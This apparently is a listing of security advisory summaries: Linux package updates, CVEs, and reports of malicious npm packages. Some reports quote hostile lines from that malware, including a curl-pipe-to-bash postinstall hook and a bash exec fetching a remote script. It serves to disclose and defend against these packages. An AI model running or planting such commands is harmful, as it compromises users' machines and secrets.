[SECURITY] Fedora 44 Update: opam-2.5.2-1.fc44

Opam is a source-based package manager for OCaml. It supports multiple simultaneous compiler installations, flexible package constraints, and a Git-friendly development workflow...

[SECURITY] Fedora 44 Update: uv-0.11.28-1.fc44

An extremely fast Python package and project manager, written in Rust. Highlights: =E2=80=A2 A single tool to replace pip, pip-tools, pipx, poetry, pyenv, twi ne, virtualenv, and more. =E2=80=A2 10-100x faster than pip. =E2=80=A2 Provides comprehensive project management, with a universal lockf...

@0xwork/connect (>=0.1.0, <=0.1.8), @agentholdings/agent-passport (>=0.1.0, <=0.1.5) +27 more potentially affected by CVE-2026-62219 via openclaw (>=2026.3.22, <=2026.5.24-beta.2)

openclaw NPM version =2026.3.22, =0.1.0, =0.1.0, =0.8.3-beta.1, =0.1.0, =2.2.4, =2026.3.25, =4.0.0, =0.0.0, =27.2.5, =1.1.0, =2.1.3, =2026.3.24-3, =0.14.39, =0.14.42 and more Source cves: CVE-2026-62219 Source advisory: SNYK:JS-OPENCLAW-18017853...

Oracle Linux 10 : yggdrasil-worker-package-manager (ELSA-2026-25999)

The remote Oracle Linux 10 host has a package installed that is affected by a vulnerability as referenced in the ELSA-2026-25999 advisory. 0.2.3-7 - Bump release for rebuild 0.2.3-6 - Bump release for rebuild Tenable has extracted the preceding description block directly from the Oracle Linux...

MAL-2026-10731 Malicious code in date-utils-light (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99bd644fd9a59518d6f77e8d76c077ffef8a2afdc7ae2b00a6ca87299879a671 Package presents itself as a trivial date-formatting utility index.js exports a one-line ISO date helper but ships a postinstall.js that runs...

MAL-2026-10711 Malicious code in @funny-booth/agent-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6693129f8b6f8b6c2d52722ca7746d6ef3dd792476297fa3583d3956548eb2b4 The package ships heavily obfuscated runtime files dist/index.js, dist/launcher.js built with javascript-obfuscator. The MCP server registered as the...

CVE-2026-11386

Summary: CVE-2026-11386 affects Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The package builds APT source files by interpolating contract server data from directives.suites[] and directives.aptURL without escaping or validation, allowing newline characters to inject attacker-co...

Important: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

An update for Red Hat Hardened Images RPMs is now available. This update includes the following RPMs: golang1.25: golang1.25-1.25.12-1.1.hum1 aarch64, x8664 golang1.25-bin-1.25.12-1.1.hum1 aarch64, x8664 golang1.25-docs-1.25.12-1.1.hum1 noarch golang1.25-misc-1.25.12-1.1.hum1 noarch...

RHSA-2026:36477 Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Bulletin has no description...

Malicious code in websight-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a70a4fdffa4457cd6366270226f065017c57aeac78fdbb062237ebf39284af78 The package ships a single index.html whose body fetches https://loader.p2pgames.workers.dev/ with header x-access: p2p and passes the response to...

ROOT-APP-NPM-CVE-2025-1647 CVE-2025-1647 in @rootio/bootstrap - Patched by Root

Root has patched CVE-2025-1647 in the @rootio/bootstrap package for Root:npm. Multiple fixed versions available...

yggdrasil-worker-package-manager security update

0.2.3-7 - Bump release for rebuild 0.2.3-6 - Bump release for rebuild...

MAL-2026-10691 Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

CVE-2026-15895 OS command injection in jsii-diff in AWS jsii

OS command injection in the npm package loading component in AWS jsii-diff before 1.131.0 might allow context-dependent attackers to execute arbitrary commands via crafted package specifiers passed to the npm: source argument. To mitigate this issue, users should upgrade to jsii-diff v1.131.0 or...

MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

ROOT-APP-NPM-CVE-2026-48988 CVE-2026-48988 in @rootio/markdown-it - Patched by Root

Root has patched CVE-2026-48988 in the @rootio/markdown-it package for Root:npm. Multiple fixed versions available...

CVE-2026-61449 Grav before 2.0.2 Decompression Bomb via Forged ZIP Size

Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header ZipArchive::statIndex'size' and rejects archives exceeding...

MAL-2026-10668 Malicious code in chain-as-log (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86f8946bf37a9861239e59a78f2d003612494061d5aa60c5f7e54379e72f0ac7 chain-as-log advertises itself as a chai plugin providing deep-equal-excluding assertion helpers. At plugin load time when a consumer calls...

MAL-2026-10671 Malicious code in spytrack (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72113145e88d53764f1e157c91cda05cb143a31802d9565ba8e1765e9886491b spytrack is a typosquat of chai-spies. When the plugin is registered via chai.use, the top-level plugin function invokes assertConnection, which...

Malicious code in true (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3e9073206745b049b5e95082a78cf8c0b48f7dc68cdadf1d20be35c0a89aeecb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...